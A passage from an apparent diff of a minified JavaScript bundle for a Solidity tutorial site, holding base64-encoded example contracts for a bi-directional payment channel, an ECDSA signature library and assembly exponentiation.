yKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],sj=`

Example of binary exponentiation in assembly

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -200,7 +200,7 @@ Error generating stack: `+e.message+`
         }
     }
 }
-
`,aj=({prev:s,next:a})=>r.jsx(u,{version:OC,title:PC,description:$C,html:sj,prev:s,next:a,codes:qC}),nj="0.8.24",lj="Bi-Directional Payment Channel",pj="An example of bi-directional payment channels in Solidity",ej=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIHdpdGggdGhlCiAgICAgbmV3IGJhbGFuY2VzCgpDbG9zaW5nIGEgY2hhbm5lbCB3aGVuIEFsaWNlIGFuZCBCb2IgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2UKMS4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIHNlbmQgcGF5bWVudHMgdG8gQWxpY2UgYW5kIEJvYgogICAtIGFuZCB0aGVuIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGNyZWF0ZWQgdGhlIHBheW1lbnQgY2hhbm5lbAoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGRvIG5vdCBhZ3JlZSBvbiB0aGUgZmluYWwgYmFsYW5jZXMKMS4gRGVwbG95IHBheW1lbnQgY2hhbm5lbCBmcm9tIG11bHRpLXNpZwoyLiBjYWxsIGNoYWxsZW5nZUV4aXQoKSB0byBzdGFydCB0aGUgcHJvY2VzcyBvZiBjbG9zaW5nIGEgY2hhbm5lbAozLiBBbGljZSBhbmQgQm9iIGNhbiB3aXRoZHJhdyBmdW5kcyBvbmNlIHRoZSBjaGFubmVsIGlzIGV4cGlyZWQKKi8KCmNvbnRyYWN0IEJpRGlyZWN0aW9uYWxQYXltZW50Q2hhbm5lbCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBldmVudCBDaGFsbGVuZ2VFeGl0KGFkZHJlc3MgaW5kZXhlZCBzZW5kZXIsIHVpbnQyNTYgbm9uY2UpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgYWRkcmVzcyBwYXlhYmxlWzJdIHB1YmxpYyB1c2VyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNVc2VyOwoKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZXM7CgogICAgdWludDI1NiBwdWJsaWMgY2hhbGxlbmdlUGVyaW9kOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwogICAgdWludDI1NiBwdWJsaWMgbm9uY2U7CgogICAgbW9kaWZpZXIgY2hlY2tCYWxhbmNlcyh1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMpIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLmJhbGFuY2UgPj0gX2JhbGFuY2VzWzBdICsgX2JhbGFuY2VzWzFdLAogICAgICAgICAgICAiYmFsYW5jZSBvZiBjb250cmFjdCBtdXN0IGJlID49IHRvIHRoZSB0b3RhbCBiYWxhbmNlIG9mIHVzZXJzIgogICAgICAgICk7CiAgICAgICAgXzsKICAgIH0KCiAgICAvLyBOT1RFOiBkZXBvc2l0IGZyb20gbXVsdGktc2lnIHdhbGxldAogICAgY29uc3RydWN0b3IoCiAgICAgICAgYWRkcmVzcyBwYXlhYmxlWzJdIG1lbW9yeSBfdXNlcnMsCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX2V4cGlyZXNBdCwKICAgICAgICB1aW50MjU2IF9jaGFsbGVuZ2VQZXJpb2QKICAgICkgcGF5YWJsZSBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykgewogICAgICAgIHJlcXVpcmUoX2V4cGlyZXNBdCA+IGJsb2NrLnRpbWVzdGFtcCwgIkV4cGlyYXRpb24gbXVzdCBiZSA+IG5vdyIpOwogICAgICAgIHJlcXVpcmUoX2NoYWxsZW5nZVBlcmlvZCA+IDAsICJDaGFsbGVuZ2UgcGVyaW9kIG11c3QgYmUgPiAwIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF91c2Vycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIHBheWFibGUgdXNlciA9IF91c2Vyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUoIWlzVXNlclt1c2VyXSwgInVzZXIgbXVzdCBiZSB1bmlxdWUiKTsKICAgICAgICAgICAgdXNlcnNbaV0gPSB1c2VyOwogICAgICAgICAgICBpc1VzZXJbdXNlcl0gPSB0cnVlOwoKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcl0gPSBfYmFsYW5jZXNbaV07CiAgICAgICAgfQoKICAgICAgICBleHBpcmVzQXQgPSBfZXhwaXJlc0F0OwogICAgICAgIGNoYWxsZW5nZVBlcmlvZCA9IF9jaGFsbGVuZ2VQZXJpb2Q7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1lbW9yeSBfc2lnbmF0dXJlcwogICAgKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlVc2VyCiAgICAgICAgY2hlY2tTaWduYXR1cmVzKF9zaWduYXR1cmVzLCBfYmFsYW5jZXMsIF9ub25jZSkKICAgICAgICBjaGVja0JhbGFuY2VzKF9iYWxhbmNlcykKICAgIHsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGV4cGlyZXNBdCwgIkV4cGlyZWQgY2hhbGxlbmdlIHBlcmlvZCIpOwogICAgICAgIHJlcXVpcmUoX25vbmNlID4gbm9uY2UsICJOb25jZSBtdXN0IGJlIGdyZWF0ZXIgdGhhbiB0aGUgY3VycmVudCBub25jZSIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBfYmFsYW5jZXMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZXNbdXNlcnNbaV1dID0gX2JhbGFuY2VzW2ldOwogICAgICAgIH0KCiAgICAgICAgbm9uY2UgPSBfbm9uY2U7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgY2hhbGxlbmdlUGVyaW9kOwoKICAgICAgICBlbWl0IENoYWxsZW5nZUV4aXQobXNnLnNlbmRlciwgbm9uY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgcHVibGljIG9ubHlVc2VyIHsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiQ2hhbGxlbmdlIHBlcmlvZCBoYXMgbm90IGV4cGlyZWQgeWV0IgogICAgICAgICk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50ID0gYmFsYW5jZXNbbXNnLnNlbmRlcl07CiAgICAgICAgYmFsYW5jZXNbbXNnLnNlbmRlcl0gPSAwOwoKICAgICAgICAoYm9vbCBzZW50LCkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],cj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

+`,aj=({prev:s,next:a})=>r.jsx(A,{version:OC,title:PC,description:$C,html:sj,prev:s,next:a,codes:qC}),nj="0.8.24",lj="Bi-Directional Payment Channel",pj="An example of bi-directional payment channels in Solidity",ej=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlIHBheW1lbnQgY2hhbm5lbCBhZGRyZXNzCjMuIEFsaWNlIGFuZCBCb2IgZXhjaGFuZ2VzIHNpZ25hdHVyZXMgb2YgaW5pdGlhbCBiYWxhbmNlcwo0LiBBbGljZSBhbmQgQm9iIGNyZWF0ZXMgYSB0cmFuc2FjdGlvbiB0aGF0IGNhbiBkZXBsb3kgYSBwYXltZW50IGNoYW5uZWwgZnJvbQogICB0aGUgbXVsdGktc2lnIHdhbGxldAoKVXBkYXRlIGNoYW5uZWwgYmFsYW5jZXMKMS4gUmVwZWF0IHN0ZXBzIDEgLSAzIGZyb20gb3BlbmluZyBhIGNoYW5uZWwKMi4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGRlcGxveWVkIHRoZSBvbGQgcGF5bWVudCBjaGFubmVsCiAgIC0gYW5kIHRoZW4gY3JlYXRlIGEgdHJhbnNhY3Rpb24gdGhhdCBjYW4gZGVwbG95IGEgcGF5bWVudCBjaGFubmVsIHdpdGggdGhlCiAgICAgbmV3IGJhbGFuY2VzCgpDbG9zaW5nIGEgY2hhbm5lbCB3aGVuIEFsaWNlIGFuZCBCb2IgYWdyZWUgb24gdGhlIGZpbmFsIGJhbGFuY2UKMS4gRnJvbSBtdWx0aS1zaWcgd2FsbGV0IGNyZWF0ZSBhIHRyYW5zYWN0aW9uIHRoYXQgd2lsbAogICAtIHNlbmQgcGF5bWVudHMgdG8gQWxpY2UgYW5kIEJvYgogICAtIGFuZCB0aGVuIGRlbGV0ZSB0aGUgdHJhbnNhY3Rpb24gdGhhdCB3b3VsZCBoYXZlIGNyZWF0ZWQgdGhlIHBheW1lbnQgY2hhbm5lbAoKQ2xvc2luZyBhIGNoYW5uZWwgd2hlbiBBbGljZSBhbmQgQm9iIGRvIG5vdCBhZ3JlZSBvbiB0aGUgZmluYWwgYmFsYW5jZXMKMS4gRGVwbG95IHBheW1lbnQgY2h